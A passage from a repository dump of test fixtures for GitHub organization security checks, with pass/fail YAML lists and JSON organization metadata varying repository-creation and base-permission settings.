false, "web_commit_signoff_required": false, "members_can_create_public_pages": true, "members_can_create_private_pages": true, "plan": { "name": "free", "space": 976562499, "private_repos": 10000, "filled_seats": 2, "seats": 0 }, "advanced_security_enabled_for_new_repositories": false, "dependabot_alerts_enabled_for_new_repositories": false, "dependabot_security_updates_enabled_for_new_repositories": false, "dependency_graph_enabled_for_new_repositories": false, "secret_scanning_enabled_for_new_repositories": false, "secret_scanning_push_protection_enabled_for_new_repositories": false, "secret_scanning_push_protection_custom_link_enabled": false, "secret_scanning_push_protection_custom_link": null } ================================================ FILE: tests/github/checks/contribution_access/GithubRequireStrictBasePermissionsRepository/expected.yaml ================================================ pass: - "pass_org_metadata.json" fail: - "fail_org_metadata.json" ================================================ FILE: tests/github/checks/contribution_access/GithubRequireStrictBasePermissionsRepository/fail_org_metadata.json ================================================ { "login": "KiteFlyingInTheSky", "id": 123456, "node_id": "node-id", "url": "https://api.github.com/orgs/KiteFlyingInTheSky", "repos_url": "https://api.github.com/orgs/KiteFlyingInTheSky/repos", "events_url": "https://api.github.com/orgs/KiteFlyingInTheSky/events", "hooks_url": "https://api.github.com/orgs/KiteFlyingInTheSky/hooks", "issues_url": "https://api.github.com/orgs/KiteFlyingInTheSky/issues", "members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}", "public_members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}", "avatar_url": "https://avatars.githubusercontent.com/u/114655127?v=4", "description": null, "is_verified": false, "has_organization_projects": true, "has_repository_projects": true, "public_repos": 1, "public_gists": 0, "followers": 0, "following": 0, "html_url": "https://github.com/KiteFlyingInTheSky", "created_at": "2022-09-29T09:05:46Z", "updated_at": "2022-10-02T10:24:25Z", "type": "Organization", "total_private_repos": 1, "owned_private_repos": 1, "private_gists": 0, "disk_usage": 380, "collaborators": 0, "billing_email": "maina@gmail.com", "default_repository_permission": "write", "members_can_create_repositories": true, "two_factor_requirement_enabled": false, "members_allowed_repository_creation_type": "all", "members_can_create_public_repositories": true, "members_can_create_private_repositories": true, "members_can_create_internal_repositories": false, "members_can_create_pages": true, "members_can_fork_private_repositories": false, "web_commit_signoff_required": false, "members_can_create_public_pages": true, "members_can_create_private_pages": true, "plan": { "name": "free", "space": 976562499, "private_repos": 10000, "filled_seats": 2, "seats": 0 }, "advanced_security_enabled_for_new_repositories": false, "dependabot_alerts_enabled_for_new_repositories": false, "dependabot_security_updates_enabled_for_new_repositories": false, "dependency_graph_enabled_for_new_repositories": false, "secret_scanning_enabled_for_new_repositories": false, "secret_scanning_push_protection_enabled_for_new_repositories": false, "secret_scanning_push_protection_custom_link_enabled": false, "secret_scanning_push_protection_custom_link": null } ================================================ FILE: tests/github/checks/contribution_access/GithubRequireStrictBasePermissionsRepository/pass_org_metadata.json ================================================ { "login": "KiteFlyingInTheSky", "id": 123456, "node_id": "node-id", "url": "https://api.github.com/orgs/KiteFlyingInTheSky", "repos_url": "https://api.github.com/orgs/KiteFlyingInTheSky/repos", "events_url": "https://api.github.com/orgs/KiteFlyingInTheSky/events", "hooks_url": "https://api.github.com/orgs/KiteFlyingInTheSky/hooks", "issues_url": "https://api.github.com/orgs/KiteFlyingInTheSky/issues", "members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}", "public_members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}", "avatar_url": "https://avatars.githubusercontent.com/u/114655127?v=4", "description": null, "is_verified": false, "has_organization_projects": true, "has_repository_projects": true, "public_repos": 1, "public_gists": 0, "followers": 0, "following": 0, "html_url": "https://github.com/KiteFlyingInTheSky", "created_at": "2022-09-29T09:05:46Z", "updated_at": "2022-10-02T10:24:25Z", "type": "Organization", "total_private_repos": 1, "owned_private_repos": 1, "private_gists": 0, "disk_usage": 380, "collaborators": 0, "billing_email": "maina@gmail.com", "default_repository_permission": "read", "members_can_create_repositories": true, "two_factor_requirement_enabled": false, "members_allowed_repository_creation_type": "all", "members_can_create_public_repositories": true, "members_can_create_private_repositories": true, "members_can_create_internal_repositories": false, "members_can_create_pages": true, "members_can_fork_private_repositories": false, "web_commit_signoff_required": false, "members_can_create_public_pages": true, "members_can_create_private_pages": true, "plan": { "name": "free", "space": 976562499, "private_repos": 10000, "filled_seats": 2, "seats": 0 }, "advanced_security_enabled_for_new_repositories": false, "dependabot_alerts_enabled_for_new_repositories": false, "dependabot_security_updates_enabled_for_new_repositories": false, "dependency_graph_enabled_for_new_repositories": false, "secret_scanning_enabled_for_new_repositories": false, "secret_scanning_push_protection_enabled_for_new_repositories": false, "secret_scanning_push_protection_custom_link_enabled": false, "secret_scanning_push_protection_custom_link": null } ================================================ FILE: tests/github/checks/repo_management/GithubInternalRepositoryCreationIsLimited/expected.yaml ================================================ pass: - "pass_org_metadata.json" fail: - "fail1_org_metadata.json" - "fail2_org_metadata.json" ================================================ FILE: tests/github/checks/repo_management/GithubInternalRepositoryCreationIsLimited/fail1.json ================================================ { "login": "KiteFlyingInTheSky", "id": 123456, "node_id": "node-id", "url": "https://api.github.com/orgs/KiteFlyingInTheSky", "repos_url": "https://api.github.com/orgs/KiteFlyingInTheSky/repos", "events_url": "https://api.github.com/orgs/KiteFlyingInTheSky/events", "hooks_url": "https://api.github.com/orgs/KiteFlyingInTheSky/hooks", "issues_url": "https://api.github.com/orgs/KiteFlyingInTheSky/issues", "members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}", "public_members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}", "avatar_url": "https://avatars.githubusercontent.com/u/114655127?v=4", "description": null, "is_verified": false, "has_organization_projects": true, "has_repository_projects": true, "public_repos": 1, "public_gists": 0, "followers": 0, "following": 0, "html_url": "https://github.com/KiteFlyingInTheSky", "created_at": "2022-09-29T09:05:46Z", "updated_at": "2022-10-02T10:24:25Z", "type": "Organization", "total_private_repos": 1, "owned_private_repos": 1, "private_gists": 0, "disk_usage": 380, "collaborators": 0, "billing_email": "main@mail.com", "default_repository_permission": "read", "members_can_create_repositories": true, "two_factor_requirement_enabled": false, "members_allowed_repository_creation_type": "all", "members_can_create_public_repositories": true, "members_can_create_private_repositories": true, "members_can_create_internal_repositories": true, "members_can_create_pages": true, "members_can_fork_private_repositories": false, "web_commit_signoff_required": false, "members_can_create_public_pages": true, "members_can_create_private_pages": true, "plan": { "name": "free", "space": 976562499, "private_repos": 10000, "filled_seats": 2, "seats": 0 }, "advanced_security_enabled_for_new_repositories": false, "dependabot_alerts_enabled_for_new_repositories": false, "dependabot_security_updates_enabled_for_new_repositories": false, "dependency_graph_enabled_for_new_repositories": false, "secret_scanning_enabled_for_new_repositories": false, "secret_scanning_push_protection_enabled_for_new_repositories": false, "secret_scanning_push_protection_custom_link_enabled": false, "secret_scanning_push_protection_custom_link": null } ================================================ FILE: tests/github/checks/repo_management/GithubInternalRepositoryCreationIsLimited/fail1_org_metadata.json ================================================ { "login": "KiteFlyingInTheSky", "id": 123456, "node_id": "node-id", "url": "https://api.github.com/orgs/KiteFlyingInTheSky", "repos_url": "https://api.github.com/orgs/KiteFlyingInTheSky/repos", "events_url": "https://api.github.com/orgs/KiteFlyingInTheSky/events", "hooks_url": "https://api.github.com/orgs/KiteFlyingInTheSky/hooks", "issues_url": "https://api.github.com/orgs/KiteFlyingInTheSky/issues", "members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}", "public_members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}", "avatar_url": "https://avatars.githubusercontent.com/u/114655127?v=4", "description": null, "is_verified": false, "has_organization_projects": true, "has_repository_projects": true, "public_repos": 1, "public_gists": 0, "followers": 0, "following": 0, "html_url": "https://github.com/KiteFlyingInTheSky", "created_at": "2022-09-29T09:05:46Z", "updated_at": "2022-10-02T10:24:25Z", "type": "Organization", "total_private_repos": 1, "owned_private_repos": 1, "private_gists": 0, "disk_usage": 380, "collaborators": 0, "billing_email": "main@mail.com", "default_repository_permission": "read", "members_can_create_repositories": true, "two_factor_requirement_enabled": false, "members_allowed_repository_creation_type": "all", "members_can_create_public_repositories": true, "members_can_create_private_repositories": true, "members_can_create_internal_repositories": true, "members_can_create_pages": true, "members_can_fork_private_repositories": false, "web_commit_signoff_required": false, "members_can_create_public_pages": true, "members_can_create_private_pages": true, "plan": { "name": "free", "space": 976562499, "private_repos": 10000, "filled_seats": 2, "seats": 0 }, "advanced_security_enabled_for_new_repositories": false, "dependabot_alerts_enabled_for_new_repositories": false, "dependabot_security_updates_enabled_for_new_repositories": false, "dependency_graph_enabled_for_new_repositories": false, "secret_scanning_enabled_for_new_repositories": false, "secret_scanning_push_protection_enabled_for_new_repositories": false, "secret_scanning_push_protection_custom_link_enabled": false, "secret_scanning_push_protection_custom_link": null } ================================================ FILE: tests/github/checks/repo_management/GithubInternalRepositoryCreationIsLimited/fail2.json ================================================ { "login": "KiteFlyingInTheSky", "id": 123456, "node_id": "node-id", "url": "https://api.github.com/orgs/KiteFlyingInTheSky", "repos_url": "https://api.github.com/orgs/KiteFlyingInTheSky/repos", "events_url": "https://api.github.com/orgs/KiteFlyingInTheSky/events", "hooks_url": "https://api.github.com/orgs/KiteFlyingInTheSky/hooks", "issues_url": "https://api.github.com/orgs/KiteFlyingInTheSky/issues", "members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}", "public_members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}", "avatar_url": "https://avatars.githubusercontent.com/u/114655127?v=4", "description": null, "is_verified": false, "has_organization_projects": true, "has_repository_projects": true, "public_repos": 1, "public_gists": 0, "followers": 0, "following": 0, "html_url": "https://github.com/KiteFlyingInTheSky", "created_at": "2022-09-29T09:05:46Z", "updated_at": "2022-10-02T10:24:25Z", "type": "Organization", "total_private_repos": 1, "owned_private_repos": 1, "private_gists": 0, "disk_usage": 380, "collaborators": 0, "billing_email": "kabirmaryna@gmail.com", "default_repository_permission": "read", "members_can_create_repositories": true, "two_factor_requirement_enabled": false, "members_allowed_repository_creation_type": "all", "members_can_create_pages": true, "members_can_fork_private_repositories": false, "web_commit_signoff_required": false, "members_can_create_public_pages": true, "members_can_create_private_pages": true, "plan": { "name": "free", "space": 976562499, "private_repos": 10000, "filled_seats": 2, "seats": 0 }, "advanced_security_enabled_for_new_repositories": false, "dependabot_alerts_enabled_for_new_repositories": false, "dependabot_security_updates_enabled_for_new_repositories": false, "dependency_graph_enabled_for_new_repositories": false, "secret_scanning_enabled_for_new_repositories": false, "secret_scanning_push_protection_enabled_for_new_repositories": false, "secret_scanning_push_protection_custom_link_enabled": false, "secret_scanning_push_protection_custom_link": null } ================================================ FILE: tests/github/checks/repo_management/GithubInternalRepositoryCreationIsLimited/fail2_org_metadata.json ================================================ { "login": "KiteFlyingInTheSky", "id": 123456, "node_id": "node-id", "url": "https://api.github.com/orgs/KiteFlyingInTheSky", "repos_url": "https://api.github.com/orgs/KiteFlyingInTheSky/repos", "events_url": "https://api.github.com/orgs/KiteFlyingInTheSky/events", "hooks_url": "https://api.github.com/orgs/KiteFlyingInTheSky/hooks", "issues_url": "https://api.github.com/orgs/KiteFlyingInTheSky/issues", "members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}", "public_members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}", "avatar_url": "https://avatars.githubusercontent.com/u/114655127?v=4", "description": null, "is_verified": false, "has_organization_projects": true, "has_repository_projects": true, "public_repos": 1, "public_gists": 0, "followers": 0, "following": 0, "html_url": "https://github.com/KiteFlyingInTheSky", "created_at": "2022-09-29T09:05:46Z", "updated_at": "2022-10-02T10:24:25Z", "type": "Organization", "total_private_repos": 1, "owned_private_repos": 1, "private_gists": 0, "disk_usage": 380, "collaborators": 0, "billing_email": "kabirmaryna@gmail.com", "default_repository_permission": "read", "members_can_create_repositories": true, "two_factor_requirement_enabled": false, "members_allowed_repository_creation_type": "all", "members_can_create_pages": true, "members_can_fork_private_repositories": false, "web_commit_signoff_required": false, "members_can_create_public_pages": true, "members_can_create_private_pages": true, "plan": { "name": "free", "space": 976562499, "private_repos": 10000, "filled_seats": 2, "seats": 0 }, "advanced_security_enabled_for_new_repositories": false, "dependabot_alerts_enabled_for_new_repositories": false, "dependabot_security_updates_enabled_for_new_repositories": false, "dependency_graph_enabled_for_new_repositories": false, "secret_scanning_enabled_for_new_repositories": false, "secret_scanning_push_protection_enabled_for_new_repositories": false, "secret_scanning_push_protection_custom_link_enabled": false, "secret_scanning_push_protection_custom_link": null } ================================================ FILE: tests/github/checks/repo_management/GithubInternalRepositoryCreationIsLimited/pass.json ================================================ { "login": "KiteFlyingInTheSky", "id": 123456, "node_id": "O_kgDOBtV_lw", "url": "https://api.github.com/orgs/KiteFlyingInTheSky", "repos_url": "https://api.github.com/orgs/KiteFlyingInTheSky/repos", "events_url": "https://api.github.com/orgs/KiteFlyingInTheSky/events", "hooks_url": "https://api.github.com/orgs/KiteFlyingInTheSky/hooks", "issues_url": "https://api.github.com/orgs/KiteFlyingInTheSky/issues", "members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}", "public_members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}", "avatar_url": "https://avatars.githubusercontent.com/u/114655127?v=4", "description": null, "is_verified": false, "has_organization_projects": true, "has_repository_projects": true, "public_repos": 1, "public_gists": 0, "followers": 0, "following": 0, "html_url": "https://github.com/KiteFlyingInTheSky", "created_at": "2022-09-29T09:05:46Z", "updated_at": "2022-10-02T10:24:25Z", "type": "Organization", "total_private_repos": 1, "owned_private_repos": 1, "private_gists": 0, "disk_usage": 380, "collaborators": 0, "billing_email": "kabirmaryna@gmail.com", "default_repository_permission": "read", "members_can_create_repositories": false, "two_factor_requirement_enabled": false, "members_allowed_repository_creation_type": "none", "members_can_create_public_repositories": false, "members_can_create_private_repositories": false, "members_can_create_internal_repositories": false, "members_can_create_pages": true, "members_can_fork_private_repositories": false, "web_commit_signoff_required": false, "members_can_create_public_pages": true, "members_can_create_private_pages": true, "plan": { "name": "free", "space": 976562499, "private_repos": 10000, "filled_seats": 2, "seats": 0 }, "advanced_security_enabled_for_new_repositories": false, "dependabot_alerts_enabled_for_new_repositories": false, "dependabot_security_updates_enabled_for_new_repositories": false, "dependency_graph_enabled_for_new_repositories": false, "secret_scanning_enabled_for_new_repositories": false, "secret_scanning_push_protection_enabled_for_new_repositories": false, "secret_scanning_push_protection_custom_link_enabled": false, "secret_scanning_push_protection_custom_link": null } ================================================ FILE: tests/github/checks/repo_management/GithubInternalRepositoryCreationIsLimited/pass_org_metadata.json ================================================ { "login": "KiteFlyingInTheSky", "id": 123456, "node_id": "O_kgDOBtV_lw", "url": "https://api.github.com/orgs/KiteFlyingInTheSky", "repos_url": "https://api.github.com/orgs/KiteFlyingInTheSky/repos", "events_url": "https://api.github.com/orgs/KiteFlyingInTheSky/events", "hooks_url": "https://api.github.com/orgs/KiteFlyingInTheSky/hooks", "issues_url": "https://api.github.com/orgs/KiteFlyingInTheSky/issues", "members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}", "public_members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}", "avatar_url": "https://avatars.githubusercontent.com/u/114655127?v=4", "description": null, "is_verified": false, "has_organization_projects": true, "has_repository_projects": true, "public_repos": 1, "public_gists": 0, "followers": 0, "following": 0, "html_url": "https://github.com/KiteFlyingInTheSky", "created_at": "2022-09-29T09:05:46Z", "updated_at": "2022-10-02T10:24:25Z", "type": "Organization", "total_private_repos": 1, "owned_private_repos": 1, "private_gists": 0, "disk_usage": 380, "collaborators": 0, "billing_email": "kabirmaryna@gmail.com", "default_repository_permission": "read", "members_can_create_repositories": false, "two_factor_requirement_enabled": false, "members_allowed_repository_creation_type": "none", "members_can_create_public_repositories": false, "members_can_create_private_repositories": false, "members_can_create_internal_repositories": false, "members_can_create_pages": true, "members_can_fork_private_repositories": false, "web_commit_signoff_required": false, "members_can_create_public_pages": true, "members_can_create_private_pages": true, "plan": { "name": "free", "space": 976562499, "private_repos": 10000, "filled_seats": 2, "seats": 0 }, "advanced_security_enabled_for_new_repositories": false, "dependabot_alerts_enabled_for_new_repositories": false, "dependabot_security_updates_enabled_for_new_repositories": false, "dependency_graph_enabled_for_new_repositories": false, "secret_scanning_enabled_for_new_repositories": false, "secret_scanning_push_protection_enabled_for_new_repositories": false, "secret_scanning_push_protection_custom_link_enabled": false, "secret_scanning_push_protection_custom_link": null } ================================================ FILE: tests/github/checks/repo_management/GithubIssueDeletionIsLimited/expected.yaml ================================================ pass: - "pass.json" fail: ================================================ FILE: tests/github/checks/repo_management/GithubIssueDeletionIsLimited/pass.json ================================================ { "CKV_GITHUB_DEFAULT": null } ================================================ FILE: tests/github/checks/repo_management/GithubPrivateRepositoryCreationIsLimited/expected.yaml ================================================ pass: - "pass_org_metadata.json" fail: - "fail1_org_metadata.json" - "fail2_org_metadata.json" ================================================ FILE: tests/github/checks/repo_management/GithubPrivateRepositoryCreationIsLimited/fail1.json ================================================ { "login": "KiteFlyingInTheSky", "id": 123456, "node_id": "node-id", "url": "https://api.github.com/orgs/KiteFlyingInTheSky", "repos_url": "https://api.github.com/orgs/KiteFlyingInTheSky/repos", "events_url": "https://api.github.com/orgs/KiteFlyingInTheSky/events", "hooks_url": "https://api.github.com/orgs/KiteFlyingInTheSky/hooks", "issues_url": "https://api.github.com/orgs/KiteFlyingInTheSky/issues", "members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}", "public_members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}", "avatar_url": "https://avatars.githubusercontent.com/u/114655127?v=4", "description": null, "is_verified": false, "has_organization_projects": true, "has_repository_projects": true, "public_repos": 1, "public_gists": 0, "followers": 0, "following": 0, "html_url": "https://github.com/KiteFlyingInTheSky", "created_at": "2022-09-29T09:05:46Z", "updated_at": "2022-10-02T10:24:25Z", "type": "Organization", "total_private_repos": 1, "owned_private_repos": 1, "private_gists": 0, "disk_usage": 380, "collaborators": 0, "billing_email": "main@mail.com", "default_repository_permission": "read", "members_can_create_repositories": true, "two_factor_requirement_enabled": false, "members_allowed_repository_creation_type": "all", "members_can_create_public_repositories": true, "members_can_create_private_repositories": true, "members_can_create_internal_repositories": true, "members_can_create_pages": true, "members_can_fork_private_repositories": false, "web_commit_signoff_required": false, "members_can_create_public_pages": true, "members_can_create_private_pages": true, "plan": { "name": "free", "space": 976562499, "private_repos": 10000, "filled_seats": 2, "seats": 0 }, "advanced_security_enabled_for_new_repositories": false, "dependabot_alerts_enabled_for_new_repositories": false, "dependabot_security_updates_enabled_for_new_repositories": false, "dependency_graph_enabled_for_new_repositories": false, "secret_scanning_enabled_for_new_repositories": false, "secret_scanning_push_protection_enabled_for_new_repositories": false, "secret_scanning_push_protection_custom_link_enabled": false, "secret_scanning_push_protection_custom_link": null } ================================================ FILE: tests/github/checks/repo_management/GithubPrivateRepositoryCreationIsLimited/fail1_org_metadata.json ================================================ { "login": "KiteFlyingInTheSky", "id": 123456, "node_id": "node-id", "url": "https://api.github.com/orgs/KiteFlyingInTheSky", "repos_url": "https://api.github.com/orgs/KiteFlyingInTheSky/repos", "events_url": "https://api.github.com/orgs/KiteFlyingInTheSky/events", "hooks_url": "https://api.github.com/orgs/KiteFlyingInTheSky/hooks", "issues_url": "https://api.github.com/orgs/KiteFlyingInTheSky/issues", "members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}", "public_members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}", "avatar_url": "https://avatars.githubusercontent.com/u/114655127?v=4", "description": null, "is_verified": false, "has_organization_projects": true, "has_repository_projects": true, "public_repos": 1, "public_gists": 0, "followers": 0, "following": 0, "html_url": "https://github.com/KiteFlyingInTheSky", "created_at": "2022-09-29T09:05:46Z", "updated_at": "2022-10-02T10:24:25Z", "type": "Organization", "total_private_repos": 1, "owned_private_repos": 1, "private_gists": 0, "disk_usage": 380, "collaborators": 0, "billing_email": "main@mail.com", "default_repository_permission": "read", "members_can_create_repositories": true, "two_factor_requirement_enabled": false, "members_allowed_repository_creation_type": "all", "members_can_create_public_repositories": true, "members_can_create_private_repositories": true, "members_can_create_internal_repositories": true, "members_can_create_pages": true, "members_can_fork_private_repositories": false, "web_commit_signoff_required": false, "members_can_create_public_pages": true, "members_can_create_private_pages": true, "plan": { "name": "free", "space": 976562499, "private_repos": 10000, "filled_seats": 2, "seats": 0 }, "advanced_security_enabled_for_new_repositories": false, "dependabot_alerts_enabled_for_new_repositories": false, "dependabot_security_updates_enabled_for_new_repositories": false, "dependency_graph_enabled_for_new_repositories": false, "secret_scanning_enabled_for_new_repositories": false, "secret_scanning_push_protection_enabled_for_new_repositories": false, "secret_scanning_push_protection_custom_link_enabled": false, "secret_scanning_push_protection_custom_link": null } ================================================ FILE: tests/github/checks/repo_management/GithubPrivateRepositoryCreationIsLimited/fail2.json ================================================ { "login": "KiteFlyingInTheSky", "id": 123456, "node_id": "node-id", "url": "https://api.github.com/orgs/KiteFlyingInTheSky", "repos_url": "https://api.github.com/orgs/KiteFlyingInTheSky/repos", "events_url": "https://api.github.com/orgs/KiteFlyingInTheSky/events", "hooks_url": "https://api.github.com/orgs/KiteFlyingInTheSky/hooks", "issues_url": "https://api.github.com/orgs/KiteFlyingInTheSky/issues", "members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}", "public_members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}", "avatar_url": "https://avatars.githubusercontent.com/u/114655127?v=4", "description": null, "is_verified": false, "has_organization_projects": true, "has_repository_projects": true, "public_repos": 1, "public_gists": 0, "followers": 0, "following": 0, "html_url": "https://github.com/KiteFlyingInTheSky", "created_at": "2022-09-29T09:05:46Z", "updated_at": "2022-10-02T10:24:25Z", "type": "Organization", "total_private_repos": 1, "owned_private_repos": 1, "private_gists": 0, "disk_usage": 380, "collaborators": 0, "billing_email": "kabirmaryna@gmail.com", "default_repository_permission": "read", "members_can_create_repositories": true, "two_factor_requirement_enabled": false, "members_allowed_repository_creation_type": "all", "members_can_create_pages": true, "members_can_fork_private_repositories": false, "web_commit_signoff_required": false, "members_can_create_public_pages": true, "members_can_create_private_pages": true, "plan": { "name": "free", "space": 976562499, "private_repos": 10000, "filled_seats": 2, "seats": 0 }, "advanced_security_enabled_for_new_repositories": false, "dependabot_alerts_enabled_for_new_repositories": false, "dependabot_security_updates_enabled_for_new_repositories": false, "dependency_graph_enabled_for_new_repositories": false, "secret_scanning_enabled_for_new_repositories": false, "secret_scanning_push_protection_enabled_for_new_repositories": false, "secret_scanning_push_protection_custom_link_enabled": false, "secret_scanning_push_protection_custom_link": null } ================================================ FILE: tests/github/checks/repo_management/GithubPrivateRepositoryCreationIsLimited/fail2_org_metadata.json ================================================ { "login": "KiteFlyingInTheSky", "id": 123456, "node_id": "node-id", "url": "https://api.github.com/orgs/KiteFlyingInTheSky", "repos_url": "https://api.github.com/orgs/KiteFlyingInTheSky/repos", "events_url": "https://api.github.com/orgs/KiteFlyingInTheSky/events", "hooks_url": "https://api.github.com/orgs/KiteFlyingInTheSky/hooks", "issues_url": "https://api.github.com/orgs/KiteFlyingInTheSky/issues", "members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}", "public_members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}", "avatar_url": "https://avatars.githubusercontent.com/u/114655127?v=4", "description": null, "is_verified": false, "has_organization_projects": true, "has_repository_projects": true, "public_repos": 1, "public_gists": 0, "followers": 0, "following": 0, "html_url": "https://github.com/KiteFlyingInTheSky", "created_at": "2022-09-29T09:05:46Z", "updated_at": "2022-10-02T10:24:25Z", "type": "Organization", "total_private_repos": 1, "owned_private_repos": 1, "private_gists": 0, "disk_usage": 380, "collaborators": 0, "billing_email": "kabirmaryna@gmail.com", "default_repository_permission": "read", "members_can_create_repositories": true, "two_factor_requirement_enabled": false, "members_allowed_repository_creation_type": "all", "members_can_create_pages": true, "members_can_fork_private_repositories": false, "web_commit_signoff_required": false, "members_can_create_public_pages": true, "members_can_create_private_pages": true, "plan": { "name": "free", "space": 976562499, "private_repos": 10000, "filled_seats": 2, "seats": 0 }, "advanced_security_enabled_for_new_repositories": false, "dependabot_alerts_enabled_for_new_repositories": false, "dependabot_security_updates_enabled_for_new_repositories": false, "dependency_graph_enabled_for_new_repositories": false, "secret_scanning_enabled_for_new_repositories": false, "secret_scanning_push_protection_enabled_for_new_repositories": false, "secret_scanning_push_protection_custom_link_enabled": false, "secret_scanning_push_protection_custom_link": null } ================================================ FILE: tests/github/checks/repo_management/GithubPrivateRepositoryCreationIsLimited/pass.json ================================================ { "login": "KiteFlyingInTheSky", "id": 123456, "node_id": "O_kgDOBtV_lw", "url": "https://api.github.com/orgs/KiteFlyingInTheSky", "repos_url": "https://api.github.com/orgs/KiteFlyingInTheSky/repos", "events_url": "https://api.github.com/orgs/KiteFlyingInTheSky/events", "hooks_url": "https://api.github.com/orgs/KiteFlyingInTheSky/hooks", "issues_url": "https://api.github.com/orgs/KiteFlyingInTheSky/issues", "members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}", "public_members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}", "avatar_url": "https://avatars.githubusercontent.com/u/114655127?v=4", "description": null, "is_verified": false, "has_organization_projects": true, "has_repository_projects": true, "public_repos": 1, "public_gists": 0, "followers": 0, "following": 0, "html_url": "https://github.com/KiteFlyingInTheSky", "created_at": "2022-09-29T09:05:46Z", "updated_at": "2022-10-02T10:24:25Z", "type": "Organization", "total_private_repos": 1, "owned_private_repos": 1, "private_gists": 0, "disk_usage": 380, "collaborators": 0, "billing_email": "kabirmaryna@gmail.com", "default_repository_permission": "read", "members_can_create_repositories": false, "two_factor_requirement_enabled": false, "members_allowed_repository_creation_type": "none", "members_can_create_public_repositories": false, "members_can_create_private_repositories": false, "members_can_create_internal_repositories": false, "members_can_create_pages": true, "members_can_fork_private_repositories": false, "web_commit_signoff_required": false, "members_can_create_public_pages": true, "members_can_create_private_pages": true, "plan": { "name": "free", "space": 976562499, "private_repos": 10000, "filled_seats": 2, "seats": 0 }, "advanced_security_enabled_for_new_repositories": false, "dependabot_alerts_enabled_for_new_repositories": false, "dependabot_security_updates_enabled_for_new_repositories": false, "dependency_graph_enabled_for_new_repositories": false, "secret_scanning_enabled_for_new_repositories": false, "secret_scanning_push_protection_enabled_for_new_repositories": false, "secret_scanning_push_protection_custom_link_enabled": false, "secret_scanning_push_protection_custom_link": null } ================================================ FILE: tests/github/checks/repo_management/GithubPrivateRepositoryCreationIsLimited/pass_org_metadata.json ================================================ { "login": "KiteFlyingInTheSky", "id": 123456, "node_id": "O_kgDOBtV_lw", "url": "https://api.github.com/orgs/KiteFlyingInTheSky", "repos_url": "https://api.github.com/orgs/KiteFlyingInTheSky/repos", "events_url": "https://api.github.com/orgs/KiteFlyingInTheSky/events", "hooks_url": "https://api.github.com/orgs/KiteFlyingInTheSky/hooks", "issues_url": "https://api.github.com/orgs/KiteFlyingInTheSky/issues", "members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}", "public_members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}", "avatar_url": "https://avatars.githubusercontent.com/u/114655127?v=4", "description": null, "is_verified": false, "has_organization_projects": true, "has_repository_projects": true, "public_repos": 1, "public_gists": 0, "followers": 0, "following": 0, "html_url": "https://github.com/KiteFlyingInTheSky", "created_at": "2022-09-29T09:05:46Z", "updated_at": "2022-10-02T10:24:25Z", "type": "Organization", "total_private_repos": 1, "owned_private_repos": 1, "private_gists": 0, "disk_usage": 380, "collaborators": 0, "billing_email": "kabirmaryna@gmail.com", "default_repository_permission": "read", "members_can_create_repositories": false, "two_factor_requirement_enabled": false, "members_allowed_repository_creation_type": "none", "members_can_create_public_repositories": false, "members_can_create_private_repositories": false, "members_can_create_internal_repositories": false, "members_can_create_pages": true, "members_can_fork_private_repositories": false, "web_commit_signoff_required": false, "members_can_create_public_pages": true, "members_can_create_private_pages": true, "plan": { "name": "free", "space": 976562499, "private_repos": 10000, "filled_seats": 2, "seats": 0 }, "advanced_security_enabled_for_new_repositories": false, "dependabot_alerts_enabled_for_new_repositories": false, "dependabot_security_updates_enabled_for_new_repositories": false, "dependency_graph_enabled_for_new_repositories": false, "secret_scanning_enabled_for_new_repositories": false, "secret_scanning_push_protection_enabled_for_new_repositories": false, "secret_scanning_push_protection_custom_link_enabled": false, "secret_scanning_push_protection_custom_link": null } ================================================ FILE: tests/github/checks/repo_management/GithubPublicRepositoryCreationIsLimited/expected.yaml ================================================ pass: - "pass_org_metadata.json" fail: - "fail1_org_metadata.json" - "fail2_org_metadata.json" ================================================ FILE: tests/github/checks/repo_management/GithubPublicRepositoryCreationIsLimited/fail1.json ================================================ { "login": "KiteFlyingInTheSky", "id": 123456, "node_id": "node-id", "url": "https://api.github.com/orgs/KiteFlyingInTheSky", "repos_url": "https://api.github.com/orgs/KiteFlyingInTheSky/repos", "events_url": "https://api.github.com/orgs/KiteFlyingInTheSky/events", "hooks_url": "https://api.github.com/orgs/KiteFlyingInTheSky/hooks", "issues_url": "https://api.github.com/orgs/KiteFlyingInTheSky/issues", "members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}", "public_members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}", "avatar_url": "https://avatars.githubusercontent.com/u/114655127?v=4", "description": null, "is_verified": false, "has_organization_projects": true, "has_repository_projects": true, "public_repos": 1, "public_gists": 0, "followers": 0, "following": 0, "html_url": "https://github.com/KiteFlyingInTheSky", "created_at": "2022-09-29T09:05:46Z", "updated_at": 